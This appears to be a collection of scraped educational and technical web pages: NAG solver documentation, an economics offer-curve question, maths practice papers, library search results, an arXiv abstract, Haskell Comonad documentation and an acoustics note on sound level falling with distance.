(SYMMLQ).\nConstraint: ${\\mathbf{METHOD}}=\\text{'CG'}$ or $\\text{'SYMMLQ'}$.\n2:     PRECON – CHARACTER(1)Input\nOn entry: specifies the type of preconditioning to be used.\n${\\mathbf{PRECON}}=\\text{'N'}$\nNo preconditioning.\n${\\mathbf{PRECON}}=\\text{'J'}$\nJacobi.\n${\\mathbf{PRECON}}=\\text{'S'}$\nSymmetric successive-over-relaxation (SSOR).\nConstraint: ${\\mathbf{PRECON}}=\\text{'N'}$, $\\text{'J'}$ or $\\text{'S'}$.\n3:     N – INTEGERInput\nOn entry: $n$, the order of the matrix $A$.\nConstraint: ${\\mathbf{N}}\\ge 1$.\n4:     NNZ – INTEGERInput\nOn entry: the number of nonzero elements in the lower triangular part of the matrix $A$.\nConstraint: $1\\le {\\mathbf{NNZ}}\\le {\\mathbf{N}}×\\left({\\mathbf{N}}+1\\right)/2$.\n5:     A(NNZ) – COMPLEX (KIND=nag_wp) arrayInput\nOn entry: the nonzero elements of the lower triangular part of the matrix $A$, ordered by increasing row index, and by increasing column index within each row. Multiple entries for the same row and column indices are not permitted. The routine F11ZPF may be used to order the elements in this way.\n6:     IROW(NNZ) – INTEGER arrayInput\n7:     ICOL(NNZ) – INTEGER arrayInput\nOn entry: the row and column indices of the nonzero elements supplied in array A.\nConstraints:\nIROW and ICOL must satisfy these constraints (which may be imposed by a call to F11ZPF):\n• $1\\le {\\mathbf{IROW}}\\left(\\mathit{i}\\right)\\le {\\mathbf{N}}$ and $1\\le {\\mathbf{ICOL}}\\left(\\mathit{i}\\right)\\le {\\mathbf{IROW}}\\left(\\mathit{i}\\right)$, for $\\mathit{i}=1,2,\\dots ,{\\mathbf{NNZ}}$;\n• ${\\mathbf{IROW}}\\left(\\mathit{i}-1\\right)<{\\mathbf{IROW}}\\left(\\mathit{i}\\right)$ or ${\\mathbf{IROW}}\\left(\\mathit{i}-1\\right)={\\mathbf{IROW}}\\left(\\mathit{i}\\right)$ and ${\\mathbf{ICOL}}\\left(\\mathit{i}-1\\right)<{\\mathbf{ICOL}}\\left(\\mathit{i}\\right)$, for $\\mathit{i}=2,3,\\dots ,{\\mathbf{NNZ}}$.\n8:     OMEGA – REAL (KIND=nag_wp)Input\nOn entry: if ${\\mathbf{PRECON}}=\\text{'S'}$, OMEGA is the relaxation parameter $\\omega$ to be used in the SSOR method. Otherwise OMEGA need not be initialized.\nConstraint: $0.0<{\\mathbf{OMEGA}}<2.0$.\n9:     B(N) – COMPLEX (KIND=nag_wp) arrayInput\nOn entry: the right-hand side vector $b$.\n10:   TOL – REAL (KIND=nag_wp)Input\nOn entry: the required tolerance. Let ${x}_{k}$ denote the approximate solution at iteration $k$, and ${r}_{k}$ the corresponding residual. The algorithm is considered to have converged at iteration $k$ if\n $rk∞≤τ×b∞+A∞xk∞.$\nIf ${\\mathbf{TOL}}\\le 0.0$, $\\tau =\\mathrm{max}\\phantom{\\rule{0.125em}{0ex}}\\left(\\sqrt{\\epsilon },\\sqrt{n}\\epsilon \\right)$ is used, where $\\epsilon$ is the machine precision. Otherwise $\\tau =\\mathrm{max}\\phantom{\\rule{0.125em}{0ex}}\\left({\\mathbf{TOL}},10\\epsilon ,\\sqrt{n}\\epsilon \\right)$ is used.\nConstraint: ${\\mathbf{TOL}}<1.0$.\n11:   MAXITN – INTEGERInput\nOn entry: the maximum number of iterations allowed.\nConstraint: ${\\mathbf{MAXITN}}\\ge 1$.\n12:   X(N) – COMPLEX (KIND=nag_wp) arrayInput/Output\nOn entry: an initial approximation to the solution vector $x$.\nOn exit: an improved approximation to the solution vector $x$.\n13:   RNORM – REAL (KIND=nag_wp)Output\nOn exit: the final value of the residual norm $‖{r}_{k}‖$, where $k$ is the output value of ITN.\n14:   ITN – INTEGEROutput\nOn exit: the number of iterations carried out.\n15:   RDIAG(N) – REAL (KIND=nag_wp) arrayOutput\nOn exit: the elements of the diagonal matrix ${D}^{-1}$, where $D$ is the diagonal part of $A$. Note that since $A$ is Hermitian the elements of ${D}^{-1}$ are necessarily real.\n16:   WORK(LWORK) – COMPLEX (KIND=nag_wp) arrayWorkspace\n17:   LWORK – INTEGERInput\nOn entry: the dimension of the array WORK as declared in the (sub)program from which F11JSF is called.\nConstraints:\n• if ${\\mathbf{METHOD}}=\\text{'CG'}$, ${\\mathbf{LWORK}}\\ge 6×{\\mathbf{N}}+120$;\n• if ${\\mathbf{METHOD}}=\\text{'SYMMLQ'}$, ${\\mathbf{LWORK}}\\ge 7×{\\mathbf{N}}+120$.\n18:   IWORK(${\\mathbf{N}}+1$) – INTEGER arrayWorkspace\n19:   IFAIL – INTEGERInput/Output\nOn entry: IFAIL must be set to $0$, $-1\\text{​ or ​}1$. If you are unfamiliar with this parameter you should refer to Section 3.3 in the Essential Introduction for details.\nFor environments where it might be inappropriate to halt program execution when an error is detected, the value $-1\\text{​ or ​}1$ is recommended. If the output of error messages is undesirable, then the value $1$ is recommended. Otherwise, if you are not familiar with this parameter, the recommended value is $0$. When the value $-\\mathbf{1}\\text{​ or ​}\\mathbf{1}$ is used it is essential to test the value of IFAIL on exit.\nOn exit: ${\\mathbf{IFAIL}}={\\mathbf{0}}$ unless the routine detects an error or a warning has been flagged (see Section 6).\n\n## 6  Error Indicators and Warnings\n\nIf on entry ${\\mathbf{IFAIL}}={\\mathbf{0}}$ or $-{\\mathbf{1}}$, explanatory error messages are output on the current error message unit (as defined by X04AAF).\nErrors or warnings detected by the routine:\n${\\mathbf{IFAIL}}=1$\n On entry, ${\\mathbf{METHOD}}\\ne \\text{'CG'}$ or $\\text{'SYMMLQ'}$, or ${\\mathbf{PRECON}}\\ne \\text{'N'}$, $\\text{'J'}$ or $\\text{'S'}$, or ${\\mathbf{N}}<1$, or ${\\mathbf{NNZ}}<1$, or ${\\mathbf{NNZ}}>{\\mathbf{N}}×\\left({\\mathbf{N}}+1\\right)/2$, or OMEGA lies outside the interval $\\left(0.0,2.0\\right)$, or ${\\mathbf{TOL}}\\ge 1.0$, or ${\\mathbf{MAXITN}}<1$, or LWORK is too small.\n${\\mathbf{IFAIL}}=2$\nOn entry, the arrays IROW and ICOL fail to satisfy the following constraints:\n• $1\\le {\\mathbf{IROW}}\\left(i\\right)\\le {\\mathbf{N}}$ and $1\\le {\\mathbf{ICOL}}\\left(i\\right)\\le {\\mathbf{IROW}}\\left(i\\right)$, for $i=1,2,\\dots ,{\\mathbf{NNZ}}$;\n• ${\\mathbf{IROW}}\\left(i-1\\right)<{\\mathbf{IROW}}\\left(i\\right)$, or ${\\mathbf{IROW}}\\left(i-1\\right)={\\mathbf{IROW}}\\left(i\\right)$ and ${\\mathbf{ICOL}}\\left(i-1\\right)<{\\mathbf{ICOL}}\\left(i\\right)$, for $i=2,3,\\dots ,{\\mathbf{NNZ}}$.\nTherefore a nonzero element has been supplied which does not lie in the lower triangular part of $A$, is out of order, or has duplicate row and column indices. Call F11ZPF to reorder and sum or remove duplicates.\n${\\mathbf{IFAIL}}=3$\nOn entry, the matrix $A$ has a zero diagonal element. Jacobi and SSOR preconditioners are not appropriate for this problem.\n${\\mathbf{IFAIL}}=4$\nThe required accuracy could not be obtained. However, a reasonable accuracy has been obtained and further iterations could not improve the result.\n${\\mathbf{IFAIL}}=5$\nRequired accuracy not obtained in MAXITN iterations.\n${\\mathbf{IFAIL}}=6$\nThe preconditioner appears not to be positive definite.\n${\\mathbf{IFAIL}}=7$\nThe matrix of the coefficients appears not to be positive definite (conjugate gradient method only).\n${\\mathbf{IFAIL}}=8$\nA serious error has occurred in an internal call to an auxiliary routine. Check all subroutine calls and array sizes. Seek expert help.\n${\\mathbf{IFAIL}}=9$\nThe matrix of the coefficients has a non-real diagonal entry, and is therefore not Hermitian.\n\n## 7  Accuracy\n\nOn successful termination, the final residual ${r}_{k}=b-A{x}_{k}$, where $k={\\mathbf{ITN}}$, satisfies the termination criterion\n $rk∞ ≤ τ × b∞ + A∞ xk∞ .$\nThe value of the final residual norm is returned in RNORM.\n\nThe time taken by F11JSF for each iteration is roughly proportional to NNZ. One iteration with the Lanczos method (SYMMLQ) requires a slightly larger number of operations than one iteration with the conjugate gradient method.\nThe number of iterations required to achieve a prescribed accuracy cannot easily be determined a priori, as it can depend dramatically on the conditioning and spectrum of the preconditioned matrix of the coefficients $\\stackrel{-}{A}={M}^{-1}A$.\n\n## 9  Example\n\nThis example solves a complex sparse Hermitian positive definite system of equations using the conjugate gradient method, with SSOR preconditioning.\n\n### 9.1  Program Text\n\nProgram Text (f11jsfe.f90)\n\n### 9.2  Program Data\n\nProgram Data (f11jsfe.d)\n\n### 9.3  Program Results\n\nProgram Results (f11jsfe.r)" ]

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[ "# Question on General Equilibrium: how to write offer curves?\n\nQUESTION:\n\nConsider simple two-person, two-good economy in which agents’ utility functions are given by\n\n$$U_1(x_{11}, x_{21}) = min\\{x_{11}, x_{21}\\}$$, and $$U_2(x_{12}, x_{22}) = min\\{4x_{12}, x_{22}\\}$$.\n\nEndowments are w1 =(30,0) and w2 =(0,20).\n\nIf neither agents can have negative consumption of either good, what is Walrasian equilibrium?\n\nSOLUTION:\n\nWith Leontiev preferences, the indifference curves of both agents are right-angles. For agent 1 their vertices lie on the line $$x_{11} = x_{21}$$, whereas, for agent 2, they lie on the line $$x_{22} = 4x_{12}$$. These lines are respective offer curves of both agents when both prices are strictly positive. For the case when one of the prices is zero, we have following offer curves:\n\n————\n\n$$OC_1(P_1, P_2)=$$\n\nif $$(P_1, P_2) \\in$$ {0} $$\\times R_+$$ then $$OC_1(P_1, P_2)= \\{(x_{11}, w_{21}): x_{11} > w_{21} \\}$$,\n\nif $$(P_1, P_2) \\in$$ $$R_+ \\times$$ {0} then $$OC_1(P_1, P_2)= \\{(w_{11}, x_{21}) : x_{21} > w_{11} \\}$$,\n\n$$OC_2(P_1, P_2)=$$\n\nif $$(P_1, P_2) \\in$$ {0} $$\\times R_+$$ then $$OC_2(P_1, P_2)= \\{(x_{11}, w_{21}) : x_{11} > (1/4) w_{21} \\}$$,\n\nif $$(P_1, P_2) \\in$$ $$R_+ \\times$$ {0} then $$OC_2(P_1, P_2)= \\{(w_{11}, x_{21}) : x_{21} > 4 w_{11} \\}$$,\n\nmy question is how to write this offer curve? I don't ask to solve this question. I dont understand the point where the offer curves are written. Especially I find to be difficult to write the OC2 for the second consumer. I mean writing OC_2 is especially difficult for me. If you show how to write offer curves, I will really glad. Thank you.\n\n$$EO_2BO_1$$ is 2's offer curve and $$EO_1A$$ is 1's offer curve. Set of competitive equilibrium allocations is given by the intersection of the two offer curves that is the set of allocations on the line segment $$O_1B$$.", null, "" ]

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[ "# ML Aggarwal Class 8 Solutions for ICSE Maths Model Question Paper 2\n\n## ML Aggarwal Class 8 Solutions for ICSE Maths Model Question Paper 2\n\nChoose the correct answer from the given four options (1-2):\nQuestion 1.\nIf 295×703 is divisible by 11, then value of x is\n(a) 5\n(b) 6\n(c) 7\n(d) 8\nSolution:", null, "Question 2.\nIf C.P. of an article is ₹500 and S.P. is ₹600, then, his profit % is\n(a) 10%\n(b) 15%\n(c) 20%\n(d) 25%\nSolution:", null, "Question 3.\nFind the values of the letters in the following and give reasons for the steps involved:", null, "Solution:", null, "Question 4.\nRamu bought a fan for ₹1080 including 8% VAT. Find the price of fan before VAT was added.\nSolution:", null, "Question 5.\nFind the amount and compound interest on ₹2000 for 2 years at 5% per annum, interest payable yearly.\nSolution:", null, "Question 6.\nIf P = {letters of the word HYDERABAD} and Q= {letters ofthewordALLAHABAD}, find\n(i) P ∪ Q\n(ii) P ∩ Q\nAlso verify that\nn(P ∪ Q) = n(P) + n(Q) – n(P ∩ Q).\nSolution:", null, "Question 7.\nA blanket was marked for ₹500. A shopkeeper allows a discount of 10%. But due to partial damage in the blanket he has to give an extra discount of 20%. Find the S.P. of the blanket.\nSolution:", null, "Question 8.\nIn a 3 digit number unit’s digit, ten’s digit and hundred’s digit are in the ratio 3 : 5 : 7. If the difference of original number and number obtained by reversing the digits is 396, find the number.\nSolution:", null, "Question 9.\nIn an exam atleast 40% marks are required to pass the exam. Rohit uses unfair means to pass the exam but fails by 20 marks. If he scored 220 marks, then find the maximum marks.\nIs using unfair means in exam is good? Why should we not use unfair means?\nSolution:", null, "Question 10.\nFind the sum invested for $$1 \\frac{1}{2}$$ years compounded half-yearly at the rate of 8% p.a. that will amount to ₹ 17576.\nSolution:", null, "" ]

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[ "# Search (5 results, page 1 of 1)\n\n• × `theme_ss:\"Grundlagen u. Einführungen: Allgemeine Literatur\"`\n1. Subject retrieval in the seventies: new directions : Proc. of an Int. Symp. ... College Park, 14.-15.5.1971 (1972) 5.95\n```5.952463 = weight(object_ss:UDC in 289) [ClassicSimilarity], result of:\n5.952463 = score(doc=289,freq=1.0), product of:\n0.99999994 = queryWeight, product of:\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n0.16799766 = queryNorm\n5.9524636 = fieldWeight in 289, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n1.0 = fieldNorm(doc=289)\n```\nObject\nUDC\n2. Classification in the 1970s. A second look (1976) 5.95\n```5.952463 = weight(object_ss:UDC in 3336) [ClassicSimilarity], result of:\n5.952463 = score(doc=3336,freq=1.0), product of:\n0.99999994 = queryWeight, product of:\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n0.16799766 = queryNorm\n5.9524636 = fieldWeight in 3336, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n1.0 = fieldNorm(doc=3336)\n```\nObject\nUDC\n3. Dahlberg, I.: Grundlagen universaler Wissensordnung : Probleme und Möglichkeiten eines universalen Klassifikationssystems des Wissens (1974) 5.95\n```5.952463 = weight(object_ss:UDC in 196) [ClassicSimilarity], result of:\n5.952463 = score(doc=196,freq=1.0), product of:\n0.99999994 = queryWeight, product of:\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n0.16799766 = queryNorm\n5.9524636 = fieldWeight in 196, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n1.0 = fieldNorm(doc=196)\n```\nObject\nUDC\n4. McIlwaine, I.C.: ¬The Universal Decimal Classification : a guide to its use (2000) 5.95\n```5.952463 = weight(object_ss:UDC in 1162) [ClassicSimilarity], result of:\n5.952463 = score(doc=1162,freq=1.0), product of:\n0.99999994 = queryWeight, product of:\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n0.16799766 = queryNorm\n5.9524636 = fieldWeight in 1162, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n1.0 = fieldNorm(doc=1162)\n```\nObject\nUDC\n5. Batley, S.: Classification in theory and practice (2005) 5.95\n```5.952463 = weight(object_ss:UDC in 3171) [ClassicSimilarity], result of:\n5.952463 = score(doc=3171,freq=1.0), product of:\n0.99999994 = queryWeight, product of:\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n0.16799766 = queryNorm\n5.9524636 = fieldWeight in 3171, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.9524636 = idf(docFreq=301, maxDocs=42740)\n1.0 = fieldNorm(doc=3171)\n```\nObject\nUDC" ]

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[ "math.AP\n\n# Title: Semiclassical measures for higher dimensional quantum cat maps\n\nAbstract: Consider a quantum cat map $M$ associated to a matrix $A\\in\\mathop{\\mathrm{Sp}}(2n,\\mathbb Z)$, which is a common toy model in quantum chaos. We show that the mass of eigenfunctions of $M$ on any nonempty open set in the position-frequency space satisfies a lower bound which is uniform in the semiclassical limit, under two assumptions: (1) there is a unique simple eigenvalue of $A$ of largest absolute value and (2) the characteristic polynomial of $A$ is irreducible over the rationals. This is similar to previous work [arXiv:1705.05019], [arXiv:1906.08923] on negatively curved surfaces and [arXiv:2103.06633] on quantum cat maps with $n=1$, but this paper gives the first results of this type which apply in any dimension. When condition (2) fails we provide a weaker version of the result and discuss relations to existing counterexamples. We also obtain corresponding statements regarding semiclassical measures and damped quantum cat maps.\n Comments: 62 pages, 4 figures Subjects: Analysis of PDEs (math.AP); Spectral Theory (math.SP) Cite as: arXiv:2108.10463 [math.AP] (or arXiv:2108.10463v1 [math.AP] for this version)\n\n## Submission history\n\nFrom: Semyon Dyatlov [view email]\n[v1] Tue, 24 Aug 2021 01:16:29 GMT (4414kb,D)\n\nLink back to: arXiv, form interface, contact." ]

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[ "# Matrix multiplication with transpose\n\nLet $A,B\\in\\mathbb{F}^{n\\times n}$ be two $n\\times n$ matrices over the underlying field $\\mathbb{F}$. In addition, $A$ is guaranteed to be a symmetric matrix, i.e, $A=A^{T}$. We assume complexity measure to be the number of field operations over $\\mathbb{F}$. Now consider at the following problem:-\n\nGiven $A,B$ and $AB$ as input, can we compute $AB^{T}$ in $o(n^{\\omega})$ time?\n\nHere $\\omega$ is the exponent of matrix multiplication. Note that $AB^{T}=A^{T}B^{T}=(BA)^{T}$. Thus computing $BA$ in $o(n^{\\omega})$ time is also enough.\n\nNo. Consider block matrices $A = \\left(\\begin{matrix} 0 & 0 \\\\ 0 & X \\end{matrix}\\right)$ (with symmetric $X$) and $B = \\left(\\begin{matrix} 0 & Y \\\\ 0 & 0 \\end{matrix} \\right)$. Computing $AB^T$ from $A$, $B$ and $AB$ means computing $XY^T$ from $X$ and $Y$, since $AB = 0$" ]

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[ "Copyright (C) 2008-2015 Edward Kmett, (C) 2004 Dave Menendez BSD-style (see the file LICENSE) Edward Kmett provisional portable Safe Haskell2010\n\nDescription\n\nSynopsis\n\nclass Functor w => Comonad w where Source\n\nThere are two ways to define a comonad:\n\nI. Provide definitions for `extract` and `extend` satisfying these laws:\n\n````extend` `extract` = `id`\n`extract` . `extend` f = f\n`extend` f . `extend` g = `extend` (f . `extend` g)\n```\n\nIn this case, you may simply set `fmap` = `liftW`.\n\nThese laws are directly analogous to the laws for monads and perhaps can be made clearer by viewing them as laws stating that Cokleisli composition must be associative, and has extract for a unit:\n\n```f `=>=` `extract` = f\n`extract` `=>=` f = f\n(f `=>=` g) `=>=` h = f `=>=` (g `=>=` h)\n```\n\nII. Alternately, you may choose to provide definitions for `fmap`, `extract`, and `duplicate` satisfying these laws:\n\n````extract` . `duplicate` = `id`\n`fmap` `extract` . `duplicate` = `id`\n`duplicate` . `duplicate` = `fmap` `duplicate` . `duplicate`\n```\n\nIn this case you may not rely on the ability to define `fmap` in terms of `liftW`.\n\nYou may of course, choose to define both `duplicate` and `extend`. In that case you must also satisfy these laws:\n\n````extend` f = `fmap` f . `duplicate`\n`duplicate` = `extend` id\n`fmap` f = `extend` (f . `extract`)\n```\n\nThese are the default definitions of `extend` and `duplicate` and the definition of `liftW` respectively.\n\nMinimal complete definition\n\nextract\n\nMethods\n\nextract :: w a -> a Source\n\n````extract` . `fmap` f = f . `extract`\n```\n\nduplicate :: w a -> w (w a) Source\n\n````duplicate` = `extend` `id`\n`fmap` (`fmap` f) . `duplicate` = `duplicate` . `fmap` f\n```\n\nextend :: (w a -> b) -> w a -> w b Source\n\n````extend` f = `fmap` f . `duplicate`\n```\n\nInstances\n\nliftW :: Comonad w => (a -> b) -> w a -> w b Source\n\nA suitable default definition for `fmap` for a `Comonad`. Promotes a function to a comonad.\n\nYou can only safely use to define `fmap` if your `Comonad` defined `extend`, not just `duplicate`, since defining `extend` in terms of duplicate uses `fmap`!\n\n````fmap` f = `liftW` f = `extend` (f . `extract`)\n```\n\nwfix :: Comonad w => w (w a -> a) -> a Source\n\nComonadic fixed point à la Menendez\n\ncfix :: Comonad w => (w a -> a) -> w a Source\n\nComonadic fixed point à la Orchard\n\n(=>=) :: Comonad w => (w a -> b) -> (w b -> c) -> w a -> c infixr 1 Source\n\nLeft-to-right `Cokleisli` composition\n\n(=<=) :: Comonad w => (w b -> c) -> (w a -> b) -> w a -> c infixr 1 Source\n\nRight-to-left `Cokleisli` composition\n\n(<<=) :: Comonad w => (w a -> b) -> w a -> w b infixr 1 Source\n\n`extend` in operator form\n\n(=>>) :: Comonad w => w a -> (w a -> b) -> w b infixl 1 Source\n\n`extend` with the arguments swapped. Dual to `>>=` for a `Monad`.\n\n`ComonadApply` is to `Comonad` like `Applicative` is to `Monad`.\n\nMathematically, it is a strong lax symmetric semi-monoidal comonad on the category `Hask` of Haskell types. That it to say that `w` is a strong lax symmetric semi-monoidal functor on Hask, where both `extract` and `duplicate` are symmetric monoidal natural transformations.\n\nLaws:\n\n```(`.`) `<\\$>` u `<@>` v `<@>` w = u `<@>` (v `<@>` w)\n`extract` (p `<@>` q) = `extract` p (`extract` q)\n`duplicate` (p `<@>` q) = (`<@>`) `<\\$>` `duplicate` p `<@>` `duplicate` q\n```\n\nIf our type is both a `ComonadApply` and `Applicative` we further require\n\n```(`<*>`) = (`<@>`)\n```\n\nFinally, if you choose to define (`<@`) and (`@>`), the results of your definitions should match the following laws:\n\n```a `@>` b = `const` `id` `<\\$>` a `<@>` b\na `<@` b = `const` `<\\$>` a `<@>` b\n```\n\nMinimal complete definition\n\n(<@>)\n\nMethods\n\n(<@>) :: w (a -> b) -> w a -> w b infixl 4 Source\n\n(@>) :: w a -> w b -> w b infixl 4 Source\n\n(<@) :: w a -> w b -> w a infixl 4 Source\n\nInstances\n\n(<@@>) :: ComonadApply w => w a -> w (a -> b) -> w b infixl 4 Source\n\nA variant of `<@>` with the arguments reversed.\n\nliftW2 :: ComonadApply w => (a -> b -> c) -> w a -> w b -> w c Source\n\nLift a binary function into a `Comonad` with zipping\n\nliftW3 :: ComonadApply w => (a -> b -> c -> d) -> w a -> w b -> w c -> w d Source\n\nLift a ternary function into a `Comonad` with zipping\n\n# Cokleisli Arrows\n\nnewtype Cokleisli w a b Source\n\nThe `Cokleisli` `Arrow`s of a given `Comonad`\n\nConstructors\n\n Cokleisli FieldsrunCokleisli :: w a -> b\n\nInstances\n\n Comonad w => Category * (Cokleisli w) Comonad w => Arrow (Cokleisli w) Comonad w => ArrowChoice (Cokleisli w) Comonad w => ArrowApply (Cokleisli w) ComonadApply w => ArrowLoop (Cokleisli w) Monad (Cokleisli w a) Functor (Cokleisli w a) Applicative (Cokleisli w a) Typeable ((* -> *) -> * -> * -> *) Cokleisli\n\n# Functors\n\nclass Functor f where\n\nThe `Functor` class is used for types that can be mapped over. Instances of `Functor` should satisfy the following laws:\n\n```fmap id == id\nfmap (f . g) == fmap f . fmap g```\n\nThe instances of `Functor` for lists, `Maybe` and `IO` satisfy these laws.\n\nMinimal complete definition\n\nfmap\n\nMethods\n\nfmap :: (a -> b) -> f a -> f b\n\n(<\\$) :: a -> f b -> f a infixl 4\n\nReplace all locations in the input with the same value. The default definition is `fmap . const`, but this may be overridden with a more efficient version.\n\nInstances\n\n Functor [] Functor IO Functor Id Functor ZipList Functor ReadPrec Functor ReadP Functor Maybe Functor Tree Functor Min Functor Max Functor First Functor Last Functor Option Functor NonEmpty Functor Identity Functor ((->) r) Functor (Either a) Functor ((,) a) Ix i => Functor (Array i) Functor (StateL s) Functor (StateR s) Functor (Const m) Monad m => Functor (WrappedMonad m) Arrow a => Functor (ArrowMonad a) Functor (Arg a) Functor m => Functor (IdentityT m) Functor (HashMap k) Arrow a => Functor (WrappedArrow a b) Functor (Tagged k s) (Functor f, Functor g) => Functor (Compose f g) Functor (Cokleisli w a) Functor w => Functor (EnvT e w) Functor w => Functor (StoreT s w) Functor w => Functor (TracedT m w) (Functor f, Functor g) => Functor (Coproduct f g)\n\n(<\\$>) :: Functor f => (a -> b) -> f a -> f b infixl 4\n\nAn infix synonym for `fmap`.\n\n(\\$>) :: Functor f => f a -> b -> f b infixl 4 Source\n\nReplace the contents of a functor uniformly with a constant value." ]

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[ "# Top 10 TASC Math Practice Questions", null, "Taking the TASC Math test in a few weeks or even in a few days? The best way to prepare for your TASC Math test is to work through as many TASC Math practice questions as possible. Here are the top 10 TASC Math practice questions to help you review the most important TASC Math topics. These TASC Math practice questions are designed to cover mathematics concepts and topics that are found on the actual test. The questions have been fully updated to reflect the latest 2020 TASC guidelines. Answers and full explanations are provided at the end of the post.\n\nStart your TASC Math test prep journey right now with these sample TASC Math questions.\n\n## Sample TASC Math Practice Questions\n\n1- When a number is subtracted from 24 and the difference is divided by that number, the result is 3. What is the value of the number?\n\n☐A. $$2$$\n\n☐B. $$4$$\n\n☐C. $$6$$\n\n☐D. $$12$$\n\n2- An angle is equal to one ninth of its supplement. What is the measure of that angle?\n\n☐A. $$18$$\n\n☐B. $$24$$\n\n☐C. $$36$$\n\n☐D. $$45$$\n\n3- John traveled 150 km in 6 hours and Alice traveled 160 km in 4 hours. What is the ratio of the average speed of John to average speed of Alice?\n\n☐A. $$3:2$$\n\n☐B. $$2:3$$\n\n☐C. $$5:8$$\n\n☐D. $$5:6$$\n\n4- A taxi driver earns $7 per 1-hour work. If he works 10 hours a day and in 1 hour he uses 2-liters petrol with price$1 for 1-liter. How much money does he earn in one day?\n\n☐A. $90 ☐B.$88\n\n☐C. $50 ☐D.$30\n\n5- Find the average of the following numbers: $$12,13,7,21,22$$\n\n☐A. 17\n\n☐B. 16.5\n\n☐C. 15\n\n☐D. 11\n\n6- The price of a sofa is decreased by $$15\\%$$ to $$476$$. What was its original price?\n\n☐A. $480 ☐B.$520\n\n☐C. $560 ☐D.$600\n\n7- Right triangle ABC has two legs of lengths 9 cm AB and 12 cm AC. What is the length of the third side BC?\n\n☐A. 6 cm\n\n☐B. 8 cm\n\n☐C. 14 cm\n\n☐D. 15 cm\n\n8- If $$40\\%$$ of a class are girls, and $$25\\%$$ of girls play tennis, what percent of the class play tennis?\n\n☐A. $$10\\%$$\n\n☐B. $$15\\%$$\n\n☐C. $$20\\%$$\n\n☐D. $$40\\%$$\n\n9- The area of a circle is less than $$36 π$$. Which of the following can be the circumference of the circle?\n\n☐A. $$10 π$$\n\n☐B. $$12 π$$\n\n☐C. $$24 π$$\n\n☐D. $$36 π$$\n\n10- Which of the following values for x and y satisfy the following system of equations?\n$$\\begin{cases}x+4y=10 \\\\ 5x+10y=10\\end{cases}$$\n\n☐A. $$x=3,y=2$$\n\n☐B. $$x=2,y−3$$\n\n☐C. $$x=−6,y=4$$\n\n☐D. $$x=4,y=−2$$\n\n## Best TASC Math Prep Resource for 2020\n\n1- C\nLet $$x$$ be the number. Write the equation and solve for $$x.(24-x)÷x=3$$ Multiply both sides by $$x. (24-x) =3x$$, then add $$x$$ both sides. $$24=4x$$, now divide both sides by $$4. x=6$$\n\n2- A\nThe sum of supplement angles is 180. Let $$x$$ be that angle. Therefore, (x+9x =180,10x=180\\), divide both sides by $$10: x=18$$\n\n3- C\nThe average speed of john is: $$150÷6=25$$ km, The average speed of Alice is: $$160÷4=40$$ km.Write the ratio and simplify. $$25∶40 ⇒ 5:8$$\n\n4- C\n$$7×10=70$$, Petrol use: $$10×2=20$$ liters. Petrol cost: $$20×1=20$$\nMoney earned: $$70-20=50$$\n\n5- C\naverage $$=\\frac{sum \\ of \\ terms}{number \\ of \\ terms}=\\frac{12+ 13+7+21+22}{5} = \\frac{75}{5} =15$$\n\n6- C\nLet x be the original price. If the price of the sofa is decreased by $$15\\%$$ to \\$476, then: $$85\\%$$ of $$x=476 ⇒ 0.85x=476 ⇒ x=476÷0.85=560$$\n\n7- D\nUse Pythagorean Theorem: $$a^2+b^2=c^2, 9^2+12^2= c^2 ⇒ 81+144=c^2⇒ 225=c^2⇒c=15$$\n\n8- A\nThe percent of girls playing tennis is: $$40\\%×25\\% =0.40×0.25=0.10=10\\%$$\n\n9- A\nArea of the circle is less than $$12 π$$. Use the formula of areas of circles. Area $$=πr^2 ⇒$$\n$$36 π> πr^2⇒ 36>r^2⇒ r<6$$. Radius of the circle is less than 6. Let’s put 6 for the radius. Now, use the circumference formula: Circumference $$=2πr=2π (6)=12 π$$\nSince the radius of the circle is less than 6. Then, the circumference of the circle must be less than $$12 π$$. Only choice A is less than $$12 π$$.\n\n10- C\n$$\\begin{cases}x+4y=10 \\\\ 5x+10y=10\\end{cases}\\rightarrow$$ Multiply the top equation by $$-5$$ then,\n$$\\begin{cases}-5x-20y=-50 \\\\ 5x+10y=10\\end{cases}\\rightarrow$$ Add two equations\n$$-10y=-40→y=4$$ , plug in the value of y into the first equation\n$$x+4y=10→x+4(4)=10→x+16=10$$\nSubtract 16 from both sides of the equation. Then: $$x+16=10→x=-6$$\n\nLooking for the best resource to help you succeed on the TASC Math test?\n\n### The Best Books to Ace the TASC Math Test", null, "## How Does It Work?", null, "### 1. Find eBooks\n\nLocate the eBook you wish to purchase by searching for the test or title.", null, "", null, "### 3. Checkout\n\nComplete the quick and easy checkout process.", null, "## Why Buy eBook From Effortlessmath?", null, "Save up to 70% compared to print", null, "", null, "Help save the environment", null, "", null, "Over 2,000 Test Prep titles available", null, "Over 80,000 happy customers", null, "Over 10,000 reviews with an average rating of 4.5 out of 5", null, "", null, "" ]

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[ "# Doubling of Distance Noise Reduction\n\neNoise Control presents the following information regarding doubling of distance. This information can also be found in the OSHA technical manual, Section III, Chapter 5.\n\n## Sound Pressure Level Decreases 6dB – with the Doubling of Distance from the Sound Source\n\nA free field is a region in which there are no reflected sound waves. In a free field, sound radiates into space from a source uniformly in all directions. The sound pressure produced by the source is the same in every direction at equal distances from the point source. As a principle of physics, the sound pressure level decreases 6dB, on a Z-weighted (i.e., unweighted) scale, each time the distance from the point is doubled. This is a common way of expressing the inverse-square law in acoustics and is shown in Figure 4.\n\nFigure 4. Sound Pressure Levels in a Free Field", null, "If a point source in a free field produces a sound pressure level of 90 dB at a distance of 1 meter, the sound pressure level is 84 dB at 2 meters, 78 dB at 4 meters, and so forth. This principle holds true 